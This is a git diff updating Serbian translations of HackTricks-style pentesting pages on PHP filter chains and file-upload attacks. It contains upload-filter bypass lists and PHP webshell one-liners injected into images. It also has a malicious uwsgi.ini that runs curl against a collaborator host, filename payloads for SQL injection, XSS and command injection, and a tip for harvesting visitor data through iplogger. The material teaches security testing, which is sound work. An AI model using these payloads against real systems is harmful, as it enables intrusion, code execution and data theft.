-> **Includes** obično rade stvari poput **dodavanja ".php" na kraj** datoteke, što može otežati eksploataciju ovog jer biste morali pronaći .php datoteku sa sadržajem koji ne ubija eksploataciju... ili možete **samo koristiti `php://temp` kao resurs** jer može **imati bilo šta dodato u ime** (npr. +".php") i to će i dalje omogućiti da eksploatacija funkcioniše!
+> **Includes** obično rade stvari poput **dodavanja ".php" na kraju** fajla, što može otežati eksploataciju jer biste morali da nađete .php fajl sa sadržajem koji ne pokvari exploit... ili jednostavno **možete koristiti `php://temp` kao resource** jer se u ime može **dodati bilo šta** (lie +".php") i exploit će i dalje raditi!

-## Kako dodati i sufikse na rezultantne podatke
+## Kako takođe dodati sufikse rezultujućim podacima

-[**Ovaj izveštaj objašnjava**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) kako možete i dalje zloupotrebljavati PHP filtere da dodate sufikse na rezultantni string. Ovo je odlično u slučaju da vam je potreban izlaz u nekom specifičnom formatu (kao što je json ili možda dodavanje nekih PNG magičnih bajtova)
+[**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) kako možete i dalje zloupotrebiti PHP filters da dodate sufikse rezultujućem stringu. Ovo je korisno ako izlaz treba da ima neki specifičan format (npr. json ili dodavanje PNG magic bytes)

 ## Automatski alati

 - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(može dodati sufikse)**
+- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**

-## Puna skripta
+## Potpuni skript
 ```python
 import requests

@ -95,7 +96,7 @@ print(r.text)
 ```
 ### Poboljšanja

-Prethodni skript je ograničen na base64 karaktere potrebne za taj payload. Stoga sam kreirao svoj skript da **bruteforce-ujem sve base64 karaktere**:
+Prethodni script je ograničen na base64 karaktere potrebne za taj payload. Zbog toga sam napisao sopstveni script da **bruteforce all the base64 characters**:
 ```php
 conversions = {
 '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -164,7 +165,7 @@ conversions = {
 '=': ''
 }
 ```
-Evo **skripta** za dobijanje kodiranja koja generišu svako b64 slovo:
+Evo **script** za dobijanje kodiranja koja generišu svako b64 slovo:
 ```php
 <?php

@ -250,9 +251,10 @@ find_vals($init);
 }
 ?>
 ```
-## Više Referenci
+## Više referenci

 - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
+- [Umetnost PHP-a: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)


 {{#include ../../banners/hacktricks-training.md}}
--- a/src/pentesting-web/file-upload/README.md
+++ b/src/pentesting-web/file-upload/README.md
@ -1,13 +1,13 @@
-# File Upload
+# Upload fajlova

 {{#include ../../banners/hacktricks-training.md}}

-## File Upload General Methodology
+## Opšta metodologija za Upload fajlova

-Ostale korisne ekstenzije:
+Other useful extensions:

 - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **Rad u PHPv8**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_
+- **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
 - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
 - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
 - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
@ -15,13 +15,13 @@ Ostale korisne ekstenzije:
 - **Perl**: _.pl, .cgi_
 - **Erlang Yaws Web Server**: _.yaws_

-### Bypass file extensions checks
+### Zaobilaženje provere ekstenzija fajlova

-1. Ako se primenjuju, **proverite** **prethodne ekstenzije.** Takođe ih testirajte koristeći neka **velika slova**: _pHp, .pHP5, .PhAr ..._
-2. _Proverite **dodavanje važeće ekstenzije pre** ekstenzije izvršenja (koristite prethodne ekstenzije takođe):_
+1. Ako su na snazi, proverite prethodno navedene ekstenzije. Takođe ih testirajte koristeći velika slova: _pHp, .pHP5, .PhAr ..._
+2. Proverite dodavanje važeće ekstenzije pre izvršne ekstenzije (koristite prethodno navedene ekstenzije takođe):  
 - _file.png.php_  
 - _file.png.Php5_
-3. Pokušajte dodati **specijalne karaktere na kraju.** Možete koristiti Burp za **bruteforce** sve **ascii** i **Unicode** karaktere. (_Napomena: takođe možete pokušati da koristite **prethodno** pomenute **ekstenzije**_)
+3. Pokušajte da dodate specijalne karaktere na kraj. Možete koristiti Burp za **bruteforce** svih **ascii** i **Unicode** karaktera. (_Napomena: možete takođe pokušati da koristite prethodno pomenute ekstenzije_)  
 - _file.php%20_  
 - _file.php%0a_  
 - _file.php%00_  
@ -31,7 +31,7 @@ Ostale korisne ekstenzije:
 - _file._  
 - _file.php...._  
 - _file.pHp5...._
-4. Pokušajte da zaobiđete zaštite **prevarom parsera ekstenzije** na serverskoj strani koristeći tehnike kao što su **dupliranje** **ekstenzije** ili **dodavanje junk** podataka (**null** bajtova) između ekstenzija. _Takođe možete koristiti **prethodne ekstenzije** da pripremite bolji payload._
+4. Pokušajte da zaobiđete zaštite tako što ćete prevariti parser ekstenzija na serveru tehnikama poput dupliranja ekstenzije ili ubacivanja smeća (null bajtova) između ekstenzija. _Možete takođe koristiti prethodne ekstenzije da pripremite bolji payload._  
 - _file.png.php_  
 - _file.png.pHp5_  
 - _file.php#.png_  
@ -40,75 +40,75 @@ Ostale korisne ekstenzije:
 - _file.php%0a.png_  
 - _file.php%0d%0a.png_  
 - _file.phpJunk123png_
-5. Dodajte **još jedan sloj ekstenzija** na prethodnu proveru:
+5. Dodajte još jedan sloj ekstenzija na prethodnu proveru:  
 - _file.png.jpg.php_  
 - _file.php%00.png%00.jpg_
-6. Pokušajte da stavite **exec ekstenziju pre važeće ekstenzije** i molite se da je server pogrešno konfigurisan. (korisno za eksploataciju Apache pogrešnih konfiguracija gde bilo šta sa ekstenzijom **_**.php**_**, ali** ne nužno završava u .php** će izvršiti kod):
+6. Pokušajte da stavite exec ekstenziju pre važeće ekstenzije i nadate se da je server pogrešno konfigurisan. (korisno za eksploatisanje Apache konfiguracionih grešaka gde će bilo šta sa ekstenzijom **.php**, ali ne nužno završeno sa .php, izvršiti kod):  
 - _ex: file.php.png_
-7. Korišćenje **NTFS alternativnog toka podataka (ADS)** u **Windows-u**. U ovom slučaju, karakter dvotačka “:” će biti umetnut nakon zabranjene ekstenzije i pre dozvoljene. Kao rezultat, **prazna datoteka sa zabranjenom ekstenzijom** će biti kreirana na serveru (npr. “file.asax:.jpg”). Ova datoteka može biti uređena kasnije koristeći druge tehnike kao što je korišćenje njenog kratkog imena. Uzorak “**::$data**” se takođe može koristiti za kreiranje nepraznih datoteka. Stoga, dodavanje tačke nakon ovog uzorka može takođe biti korisno za zaobilaženje daljih ograničenja (npr. “file.asp::$data.”)
-8. Pokušajte da prekinete ograničenja imena datoteka. Važeća ekstenzija se skraćuje. A zlonameran PHP ostaje. AAA<--SNIP-->AAA.php
+7. Korišćenje NTFS alternate data stream (ADS) na Windowsu. U tom slučaju, dvotačka ":" će biti ubačena posle zabranjene ekstenzije i pre dozvoljene. Kao rezultat, kreiraće se **prazan fajl sa zabranjenom ekstenzijom** na serveru (npr. "file.asax:.jpg"). Ovaj fajl se kasnije može izmeniti drugim tehnikama, kao što je korišćenje njegovog short filename. Šablon "**::$data**” se takođe može koristiti za kreiranje ne-praznih fajlova. Dakle, dodavanje tačke posle ovog šablona može biti korisno za zaobilaženje daljih ograničenja (npr. "file.asp::$data.")
+8. Pokušajte da prekoračite limite imena fajla. Važeća ekstenzija se iseca, a zlonamerni PHP ostaje. AAA<--SNIP-->AAA.php

 ```
-# Linux maksimum 255 bajtova
+# Linux maximum 255 bytes
 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
-Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 ovde i dodavanje .png
-# Učitajte datoteku i proverite odgovor koliko karaktera dozvoljava. Recimo 236
+Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
+# Upload the file and check response how many characters it alllows. Let's say 236
 python -c 'print "A" * 232'
 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
-# Napravite payload
+# Make the payload
 AAA<--SNIP 232 A-->AAA.php.png
 ```

-### Bypass Content-Type, Magic Number, Compression & Resizing
+### Zaobilaženje Content-Type, Magic Number, Compression & Resizing

- Zaobiđite **Content-Type** provere postavljanjem **vrednosti** **Content-Type** **header-a** na: _image/png_ , _text/plain , application/octet-stream_
-1. Content-Type **rečnik**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- Zaobiđite **magic number** proveru dodavanjem na početak datoteke **bajtova pravog imidža** (zbuniti _file_ komandu). Ili uvesti shell unutar **metapodataka**:\
+- Zaobiđite Content-Type provere tako što ćete vrednost Content-Type header-a postaviti na: _image/png_, _text/plain_, _application/octet-stream_  
+1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
+- Zaobiđite proveru magic number tako što ćete na početak fajla dodati bajtove pravog image fajla (zbunite naredbu _file_). Ili ubacite shell unutar metadata:\
 `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
-`\` ili takođe možete **direktno uvesti payload** u sliku:\
+`\` ili možete direktno ubaciti payload u sliku:\
 `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Ako se **kompresija dodaje vašoj slici**, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike neće biti korisne. Međutim, možete koristiti **PLTE chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Web stranica takođe može **menjati veličinu** **slike**, koristeći na primer PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti **IDAT chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Još jedna tehnika za pravljenje payload-a koji **preživljava promenu veličine slike**, koristeći PHP-GD funkciju `thumbnailImage`. Međutim, možete koristiti **tEXt chunk** [**tehnika definisana ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da umetnete neki tekst koji će **preživeti kompresiju**.
- [**Github sa kodom**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
+- Ako se nad vašu sliku primenjuje kompresija, na primer koristeći neke standardne PHP biblioteke kao što je [PHP-GD](https://www.php.net/manual/fr/book.image.php), prethodne tehnike možda neće biti korisne. Međutim, možete koristiti PLTE chunk [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**.
+- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
+- Web stranica takođe može promeniti dimenzije slike koristeći, na primer, PHP-GD funkcije `imagecopyresized` ili `imagecopyresampled`. Međutim, možete koristiti IDAT chunk [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**.
+- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
+- Još jedna tehnika za kreiranje payload-a koji **preživi promenu dimenzija slike**, koristeći PHP-GD funkciju `thumbnailImage`. Takođe, možete koristiti tEXt chunk [**tehniku definisanu ovde**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) da ubacite tekst koji će **preživeti kompresiju**.
+- [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)

-### Other Tricks to check
+### Druge provere / trikovi

- Pronađite ranjivost da **preimenujete** već otpremeljenu datoteku (da promenite ekstenziju).
+- Pronađite ranjivost koja omogućava **preimenovanje** već uploadovanog fajla (da promenite ekstenziju).
 - Pronađite **Local File Inclusion** ranjivost da izvršite backdoor.
- **Moguće otkrivanje informacija**:
-1. Otpremite **više puta** (i u **isto vreme**) **istu datoteku** sa **istim imenom**
-2. Otpremite datoteku sa **imenom** datoteke ili **foldera** koji **već postoji**
-3. Otpremite datoteku sa **“.”, “..”, ili “…” kao njenim imenom**. Na primer, u Apache-u u **Windows-u**, ako aplikacija čuva otpremeljene datoteke u “/www/uploads/” direktorijumu, ime “.” će kreirati datoteku pod nazivom “uploads” u “/www/” direktorijumu.
-4. Otpremite datoteku koja se možda neće lako obrisati kao što je **“…:.jpg”** u **NTFS**. (Windows)
-5. Otpremite datoteku u **Windows-u** sa **nevažećim karakterima** kao što su `|<>*?”` u njenom imenu. (Windows)
-6. Otpremite datoteku u **Windows-u** koristeći **rezervisana** (**zabranjena**) **imena** kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
- Takođe pokušajte da **otpremite izvršnu** (.exe) ili **.html** (manje sumnjivu) datoteku koja **će izvršiti kod** kada je slučajno otvori žrtva.
+- **Mogući otkrivanje informacija**:
+1. Uploadujte **više puta** (i u **isto vreme**) isti fajl sa istim imenom
+2. Uploadujte fajl sa imenom fajla ili foldera koji već postoji
+3. Upload fajla sa imenom **"." , ".." ili "..."**. Na primer, na Apache-u u **Windows**, ako aplikacija čuva upload-ovane fajlove u "/www/uploads/" direktorijumu, fajl sa imenom "." će kreirati fajl nazvan "uploads" u "/www/" direktorijumu.
+4. Upload fajla koji se možda neće lako obrisati kao što je **"…:.jpg"** na **NTFS**. (Windows)
+5. Upload fajla na **Windows** sa nevažećim karakterima u imenu kao što su `|<>*?”`. (Windows)
+6. Upload fajla na **Windows** koristeći rezervisana (zabranjena) imena kao što su CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, i LPT9.
+- Pokušajte takođe da uploadujete izvršni fajl (.exe) ili .html (manje sumnjivo) koji će izvršiti kod kada ga žrtva slučajno otvori.

-### Special extension tricks
+### Specijalni trikovi sa ekstenzijama

-Ako pokušavate da otpremite datoteke na **PHP server**, [pogledajte **.htaccess** trik za izvršavanje koda](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
-Ako pokušavate da otpremite datoteke na **ASP server**, [pogledajte **.config** trik za izvršavanje koda](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
+Ako pokušavate da uploadujete fajlove na **PHP server**, [pogledajte .htaccess trik za izvršavanje koda](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
+Ako pokušavate da uploadujete fajlove na **ASP server**, [pogledajte .config trik za izvršavanje koda](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).

-Datoteke `.phar` su poput `.jar` za java, ali za php, i mogu se **koristiti kao php datoteka** (izvršavajući je sa php, ili uključujući je unutar skripte...)
+Fajlovi sa ekstenzijom `.phar` su slični `.jar` za Java, ali za PHP, i mogu se **koristiti kao php fajl** (izvršavajući ga sa php-om, ili uključivanjem u skriptu...).

-Ekstenzija `.inc` se ponekad koristi za php datoteke koje se koriste samo za **uvoz datoteka**, tako da je u nekom trenutku neko mogao dozvoliti **da se ova ekstenzija izvrši**.
+Ekstenzija `.inc` se ponekad koristi za php fajlove koji služe samo za **import fajlova**, tako da bi, u nekom trenutku, neko mogao dozvoliti da se **ova ekstenzija izvršava**.

 ## **Jetty RCE**

-Ako možete otpremiti XML datoteku na Jetty server, možete dobiti [RCE jer se **nove \*.xml i \*.war automatski obrađuju**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je pomenuto na sledećoj slici, otpremite XML datoteku u `$JETTY_BASE/webapps/` i očekujte shell!
+Ako možete uploadovati XML fajl na Jetty server možete dobiti [RCE zato što se **novi \*.xml i \*.war automatski procesuiraju**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Dakle, kao što je pomenuto na sledećoj slici, upload-ujte XML fajl u `$JETTY_BASE/webapps/` i očekujte shell!

 ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)

 ## **uWSGI RCE**

-Za detaljno istraživanje ove ranjivosti proverite originalno istraživanje: [uWSGI RCE Eksploatacija](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
+Za detaljno istraživanje ove ranjivosti pogledajte originalno istraživanje: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).

-Ranjivosti daljinskog izvršavanja komandi (RCE) mogu se eksploatisati na uWSGI serverima ako imate mogućnost da modifikujete `.ini` konfiguracionu datoteku. uWSGI konfiguracione datoteke koriste specifičnu sintaksu za uključivanje "magic" varijabli, mesta i operatora. Značajno, operator '@', korišćen kao `@(filename)`, je dizajniran da uključuje sadržaj datoteke. Među raznim podržanim šemama u uWSGI, "exec" šema je posebno moćna, omogućavajući čitanje podataka iz standardnog izlaza procesa. Ova funkcija se može iskoristiti za zle svrhe kao što su daljinsko izvršavanje komandi ili proizvoljno pisanje/čitanje datoteka kada se `.ini` konfiguraciona datoteka obrađuje.
+Remote Command Execution (RCE) ranjivosti mogu se eksploatisati na uWSGI serverima ako imate mogućnost da izmenite `.ini` konfiguracioni fajl. uWSGI konfiguracioni fajlovi koriste specifičnu sintaksu za uključivanje "magic" varijabli, placeholder-a i operatora. Posebno, '@' operator, korišćen kao `@(filename)`, namenjen je za uključivanje sadržaja fajla. Među raznim podržanim šemama u uWSGI-ju, "exec" shema je posebno moćna, omogućavajući čitanje podataka sa standardnog izlaza procesa. Ova funkcionalnost se može manipulisati u zlonamerne svrhe kao što su Remote Command Execution ili Arbitrary File Write/Read kada se `.ini` konfiguracioni fajl procesuira.

-Razmotrite sledeći primer štetne `uwsgi.ini` datoteke, prikazujući razne šeme:
+Razmotrite sledeći primer zlonamernog `uwsgi.ini` fajla, koji pokazuje različite sheme:
 ```ini
 [uwsgi]
 ; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
 ; call a function returning a char *
 characters = @(call://uwsgi_func)
 ```
-Izvršenje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti ponovo pokrenut (potencijalno nakon pada ili zbog napada uskraćivanja usluge) ili datoteka mora biti postavljena na automatsko ponovno učitavanje. Funkcija automatskog ponovnog učitavanja, ako je omogućena, ponovo učitava datoteku u određenim intervalima kada detektuje promene.
+Izvršavanje payload-a se dešava tokom parsiranja konfiguracione datoteke. Da bi konfiguracija bila aktivirana i parsirana, uWSGI proces mora biti restartovan (potencijalno nakon pada ili zbog Denial of Service napada) ili datoteka mora biti podešena na auto-reload. Auto-reload funkcija, ako je omogućena, ponovo učitava datoteku u određenim intervalima pri detekciji promena.

-Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-a. Konkretno, pomenuti payload može biti umetnut u binarnu datoteku (kao što je slika ili PDF), dodatno proširujući opseg potencijalne eksploatacije.
+Ključno je razumeti labavu prirodu parsiranja konfiguracione datoteke uWSGI-ja. Konkretno, diskutovani payload može biti ubačen u binarnu datoteku (na primer sliku ili PDF), čime se dodatno širi opseg potencijalne eksploatacije.

 ## **wget File Upload/SSRF Trick**

-U nekim slučajevima možete primetiti da server koristi **`wget`** za **preuzimanje datoteka** i možete **navesti** **URL**. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih datoteka unutar bele liste kako bi se osiguralo da se preuzimaju samo dozvoljene datoteke. Međutim, **ova provera se može zaobići.**\
-**Maksimalna** dužina **imena datoteke** u **linux-u** je **255**, međutim, **wget** skraćuje imena datoteka na **236** karaktera. Možete **preuzeti datoteku pod nazivom "A"\*232+".php"+".gif"**, ovo ime datoteke će **zaobići** **proveru** (kao u ovom primeru **".gif"** je **važeća** ekstenzija) ali `wget` će **preimenovati** datoteku u **"A"\*232+".php"**.
+U nekim slučajevima možete otkriti da server koristi **`wget`** za **preuzimanje fajlova** i da možete **navesti** **URL**. U tim slučajevima, kod može proveravati da li je ekstenzija preuzetih fajlova na whitelist-i kako bi osigurao da će biti preuzeti samo dozvoljeni fajlovi. Međutim, **ova provera se može zaobići.**\
+The **maximum** length of a **filename** in **linux** is **255**, however, **wget** truncate the filenames to **236** characters. You can **download a file called "A"\*232+".php"+".gif"**, this filename will **bypass** the **check** (as in this example **".gif"** is a **valid** extension) but `wget` will **rename** the file to **"A"\*232+".php"**.
 ```bash
 #Create file and HTTP server
 echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
@ -156,31 +156,35 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[=============================================

 2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
 ```
-Napomena da **druga opcija** koju možda razmišljate da zaobiđete ovu proveru je da napravite da **HTTP server preusmeri na drugu datoteku**, tako da će početni URL zaobići proveru, a zatim će wget preuzeti preusmerenu datoteku sa novim imenom. Ovo **neće raditi** **osim** ako se wget koristi sa **parametrom** `--trust-server-names` jer **wget će preuzeti preusmerenu stranicu sa imenom datoteke koje je naznačeno u originalnom URL-u**.
+Note that **another option** you may be thinking of to bypass this check is to make the **HTTP server redirect to a different file**, so the initial URL will bypass the check by then wget will download the redirected file with the new name. This **won't work** **unless** wget is being used with the **parameter** `--trust-server-names` because **wget will download the redirected page with the name of the file indicated in the original URL**.

 ## Alati

- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesterima i Lovcima na greške u testiranju mehanizama za učitavanje datoteka. Koristi razne tehnike bug bounty-a kako bi pojednostavio proces identifikacije i eksploatacije ranjivosti, osiguravajući temeljne procene web aplikacija.
+- [Upload Bypass](https://github.com/sAjibuu/Upload_Bypass) je moćan alat dizajniran da pomogne Pentesters i Bug Hunters u testiranju file upload mehanizama. On koristi razne bug bounty techniques da pojednostavi proces identifikovanja i eksploatisanja ranjivosti, obezbeđujući temeljne procene web aplikacija.

-## Od učitavanja datoteka do drugih ranjivosti
+### Corrupting upload indices with snprintf quirks (historical)

- Postavite **filename** na `../../../tmp/lol.png` i pokušajte da postignete **path traversal**
- Postavite **filename** na `sleep(10)-- -.jpg` i možda ćete moći da postignete **SQL injection**
- Postavite **filename** na `<svg onload=alert(document.domain)>` da postignete XSS
- Postavite **filename** na `; sleep 10;` da testirate neku injekciju komandi (više [trikova za injekciju komandi ovde](../command-injection.md))
- [**XSS** u uploadu slike (svg) datoteke](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
- **JS** datoteka **upload** + **XSS** = [**eksploatacija Service Workers**](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
- [**XXE u svg uploadu**](../xxe-xee-xml-external-entity.md#svg-file-upload)
- [**Open Redirect** putem učitavanja svg datoteke](../open-redirect.md#open-redirect-uploading-svg-files)
- Pokušajte **različite svg payloads** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
- [Poznata **ImageTrick** ranjivost](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
- Ako možete **naznačiti web server da uhvati sliku sa URL-a** mogli biste pokušati da zloupotrebite [SSRF](../ssrf-server-side-request-forgery/index.html). Ako će ova **slika** biti **sačuvana** na nekom **javnom** sajtu, mogli biste takođe naznačiti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **ukrasti informacije o svakom posetiocu**.
- [**XXE i CORS** zaobilaženje sa PDF-Adobe uploadom](pdf-upload-xxe-and-cors-bypass.md)
- Posebno oblikovani PDF-ovi za XSS: [sledeća stranica prikazuje kako da **ubacite PDF podatke da dobijete JS izvršenje**](../xss-cross-site-scripting/pdf-injection.md). Ako možete da učitate PDF-ove, mogli biste pripremiti neki PDF koji će izvršiti proizvoljni JS prema datim uputstvima.
- Učitajte \[eicar]\([**https://secure.eicar.org/eicar.com.txt**](https://secure.eicar.org/eicar.com.txt)) sadržaj da proverite da li server ima neki **antivirus**
- Proverite da li postoji bilo kakvo **ograničenje veličine** prilikom učitavanja datoteka
+Neki legacy upload handleri koji koriste `snprintf()` ili slično da bi sastavili multi-file nizove iz single-file uploada mogu biti prevareni da falsifikuju strukturu `_FILES`. Zbog nekonzistentnosti i skraćivanja u ponašanju `snprintf()`, pažljivo konstruisan pojedinačni upload može izgledati kao više indeksiranih fajlova na serverskoj strani, zbunjujući logiku koja pretpostavlja strogi oblik (npr. tretira ga kao multi-file upload i ulazi u nesigurne grane). Iako danas retko, ovaj obrazac “index corruption” povremeno se pojavljuje u CTF-ovima i starijim kod bazama.

-Evo top 10 liste stvari koje možete postići učitavanjem (iz [ovde](https://twitter.com/SalahHasoneh1/status/1281274120395685889)):
+## From File upload to other vulnerabilities
+
+- Postavi **filename** na `../../../tmp/lol.png` i pokušaj da postigneš **path traversal**
+- Postavi **filename** na `sleep(10)-- -.jpg` i možda ćeš moći da postigneš **SQL injection**
+- Postavi **filename** na `<svg onload=alert(document.domain)>` da postigneš **XSS**
+- Postavi **filename** na `; sleep 10;` da testiraš neku command injection (više [command injections tricks here](../command-injection.md))
+- [**XSS** in image (svg) file upload](../xss-cross-site-scripting/index.html#xss-uploading-files-svg)
+- **JS** file **upload** + **XSS** = [**Service Workers** exploitation](../xss-cross-site-scripting/index.html#xss-abusing-service-workers)
+- [**XXE in svg upload**](../xxe-xee-xml-external-entity.md#svg-file-upload)
+- [**Open Redirect** via uploading svg file](../open-redirect.md#open-redirect-uploading-svg-files)
+- Isprobaj **different svg payloads** sa [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+- [Famous **ImageTrick** vulnerability](https://mukarramkhalid.com/imagemagick-imagetragick-exploit/)
+- Ako možeš naterati web server da preuzme sliku sa URL-a, možeš pokušati da zloupotrebiš [SSRF](../ssrf-server-side-request-forgery/index.html). Ako će ta **image** biti **saved** na nekom **public** sajtu, možeš takođe navesti URL sa [https://iplogger.org/invisible/](https://iplogger.org/invisible/) i **steal information of every visitor**.
